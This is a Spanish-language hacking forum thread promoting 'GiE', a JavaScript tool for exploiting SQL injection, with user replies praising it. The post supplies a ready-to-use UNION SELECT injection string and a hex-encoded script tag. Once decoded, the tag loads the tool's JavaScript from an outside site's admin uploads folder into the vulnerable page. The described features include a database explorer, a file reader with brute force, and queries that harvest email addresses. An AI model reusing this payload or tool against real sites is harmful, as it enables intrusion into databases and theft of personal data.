Os traigo es pedazo de tool que a creado mi amigo PonyMagic, la cual es muy, buena y novedosa,
creada en javascript.

----

Créanme que para mi es de lo mas raro verlo terminado, no es la gran cosa, pero me llevo su tiempo mas que nada por “problemas logísticos”. Esta idea la tuve hace unos meses con un supuesto “duelo” con Murder, y desde entonces, le dedico algún tiempo a la semana a continuar con el proyecto que muchas veces parecía interminable. Se puede agregar mucho, siempre hay alguna buena idea dando vueltas por ahí, pero la verdad, ya no tengo ganas de seguir con lo mismo. Voy a abandonar este proyecto, lo dejo acá 4.7 Talvez fixee algo que encuentren ustedes, pero no mas que eso.

No voy a gastarme en escribir, (no porque tenga algo mejor que hacer), una descripción de que es la GiE, las nuevas características, etc, etc. Simplemente voy a poner algunos screens, links con ejemplos, el código de fuente y el código para insertarlo en cualquier SQLi.

Imagen


explorador de bases de datos.

Imagen


lector de archivos, con Bruteforce.

Imagen


consola de peticiones, en la imagen un ejemplo
de una query que busca mails en la base de datos

Imagen


Historial de Inyecciones, para el que quiera
saber un poco mas sobre el funcionamiento de la GIE

-------------



Insertarlo en una SQli:



id=-1+and+union+select+1,(GIE),3,4--

Código: Seleccionar todo

(0x3c736372697074207372633d22687474703a2f2f73696e64656c656e2e636c2f61646d696e2f75706c6f6164732f696d616765732f4769452e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)

Os he dado un ejemplillo de como se usa, espero que os guste.


Un saludo!
Tiene muy buena pinta, gracias por traerlo Skillmax..lo descargué pero de momento no me aclaro

a ponerlo en marcha lo seguiré intentando

Saludos

Edito:

Ya le pillé el mecanismo, ¡¡¡Esta herramienta se sale!!!
Imagen
3mp3z@ndo escribió:Tiene muy buena pinta, gracias por traerlo Skillmax..lo descargué pero de momento no me aclaro

a ponerlo en marcha lo seguiré intentando

Saludos

Edito:

Ya le pillé el mecanismo, ¡¡¡Esta herramienta se sale!!!

Claro que sí, es una herramienta muy buena.



Un saludo!
deck escribió:no hay q descargarla es un codigo q pones en la web y te sale eso
codigo ? no lo veo.
me parece que la re flasheas
Imagen
(0x3c736372697074207372633d22687474703a2f2f73696e64656c656e2e636c2f61646d696e2f75706c6f6164732f696d616765732f4769452e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e) ese codigo
Imagen
O si quieres el script, pasas a ascii el codigo que ya te ha indicado deck, y vas a la direccion
para copiarlo y guardarlo, asi le puedes echar un ojo
Imagen
Responder

Volver a “Auditoria Web”